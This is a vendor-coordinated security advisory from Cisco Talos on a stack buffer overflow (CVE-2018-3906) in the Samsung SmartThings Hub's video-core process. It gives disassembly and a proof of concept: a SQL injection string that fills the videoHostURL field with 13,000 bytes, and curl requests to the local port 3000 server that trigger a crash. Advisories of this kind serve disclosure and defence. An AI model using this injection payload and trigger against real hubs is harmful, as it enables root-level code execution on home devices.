Talos Vulnerability Report

TALOS-2018-0576

Samsung SmartThings Hub video-core Database shard.videoHostURL Code Execution Vulnerability

July 26, 2018
CVE Number

CVE-2018-3906

Summary

An exploitable stack-based buffer overflow vulnerability exists in the retrieval of a database field in video-core's HTTP server of Samsung SmartThings Hub. The video-core process insecurely extracts the shard.videoHostURL field from its SQLite database, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed on the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the ability to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable function that can be exploited to achieve code execution on the video-core process, which is running as root.

The hub uses a "videoHostURL" field to handle the livestreams, saved inside the "shard" table of video-core's SQLite database (found at "/hub/data/videocore/db/VideoCore.db"). The "videoHostURL" is the base address, used to build the final link that an end user can use to look at the camera's stream. In the hub used for our tests, the "videoHostURL" is normally "https://vh-na04-useast2.connect.smartthings.com:8300".

Function sub_28E2C is used to retrieve the "videoHostURL" from the database and save it in a buffer passed as first argument:

.text:00028E2C     sub_28E2C
.text:00028E2C
.text:00028E2C     src    = -0x14
.text:00028E2C
.text:00028E2C 000        MOV             R3, #:lower16:dword_E18A0
.text:00028E30 000        STMFD           SP!, {R4-R6,LR}
.text:00028E34 010        MOVT            R3, #:upper16:dword_E18A0
.text:00028E38 010        MOV             R4, #0
.text:00028E3C 010        SUB             SP, SP, #8
.text:00028E40 018        MOV             R5, R0
.text:00028E44 018        LDR             R1, [R3,#(dword_E18B4 - 0xE18A0)]  ; [1]
.text:00028E48 018        STR             R4, [SP,#0x18+src]
.text:00028E4C 018        CMP             R1, R4                             ; [2]
.text:00028E50 018        BEQ             loc_28E80
.text:00028E54 018        ADD             R6, R0, #4
.text:00028E58 018        MOV             R2, #0x100
.text:00028E5C 018        MOV             R0, R6
.text:00028E60 018        BL              strncpy                            ; [3]
.text:00028E64 018        MOV             R0, R6
.text:00028E68 018        STRB            R4, [R5,#0x103]
.text:00028E6C 018        BL              strlen
.text:00028E70 018        STR             R0, [R5]
.text:00028E74 018        MOV             R0, R4
.text:00028E78 018        ADD             SP, SP, #8
.text:00028E7C 010        LDMFD           SP!, {R4-R6,PC}
.text:00028E80
.text:00028E80     loc_28E80
.text:00028E80 018        MOV             R1, #:lower16:aShardinmemoryd      ; "shardInMemoryDb"
.text:00028E84 018        MOV             R2, #:lower16:aVideohosturl_0      ; "videoHostURL"
.text:00028E88 018        MOVT            R1, #:upper16:aShardinmemoryd      ; "shardInMemoryDb"
.text:00028E8C 018        MOVT            R2, #:upper16:aVideohosturl_0      ; "videoHostURL"
.text:00028E90 018        MOV             R0, #3                             ; db_id
.text:00028E94 018        ADD             R3, SP, #0x18+src
.text:00028E98 018        BL              db_find                            ; [4]
.text:00028E9C 018        CMP             R0, #0
.text:00028EA0 018        BLT             loc_28EE4
.text:00028EA4 018        LDR             R4, [SP,#0x18+src]
.text:00028EA8 018        ADD             R3, R5, #4
.text:00028EAC 018        MOV             R0, R3
.text:00028EB0 018        MOV             R1, R4
.text:00028EB4 018        BL              strcpy                             ; [5]
...

If the "videoHostURL" is overridden by the value stored in the configuration file ([1] and [2]), the "videoHostURL" is copied to the buffer using strncpy [3] with a maximum length of 0x100 bytes. Vice-versa, the URL is fetched from the database by using the function db_find [4]. The query executed is:

SELECT videoHostURL FROM shard WHERE _id='shardInMemoryDb'

The result is finally copied in the buffer using strcpy [5]. Since there is no restriction on the length of the copy operation, the buffer can be overflowed, which allows for overflowing the stack buffer of the parent function and execute arbitrary code.

This function is reachable in two different ways:

- By the "imageUploader" and "mp4Uploader" threads, which are calling this the vulnerable function every second.
- By sending a PUT request to video-core's HTTP server for the path "/cameras/<camera-id>/streams/<stream-name>"

Moreover, each of the three callers above pass a stack buffer when calling the vulnerable function, so all of the possible buffer overflows are stack-based.

Note that while we scored this vulnerability CVSS 7.5 on its own, it would constitute a CVSS 8.5 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0556. This is demonstrated in the proof of concept below.

Exploit Proof of Concept

The following proof of concept shows how to crash the video-core process:

1- Modify the "shard.videoHostURL" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update shard set videoHostURL=replace(substr(quote(zeroblob((13000 + 1) / 2)), 3, 13000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"

2- Two options:
    A- Wait (about one second) for one of the threads to execute the vulnerable function.
    B- Send the "streams" request, using curl from inside the hub, but the same request could be sent using a SmartApp.
    $ curl -X PUT "http://127.0.0.1:3000/cameras/<camera-id>/streams/hls1080p" -d '{"oauthToken":"x"}'

Timeline

2018-04-16 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.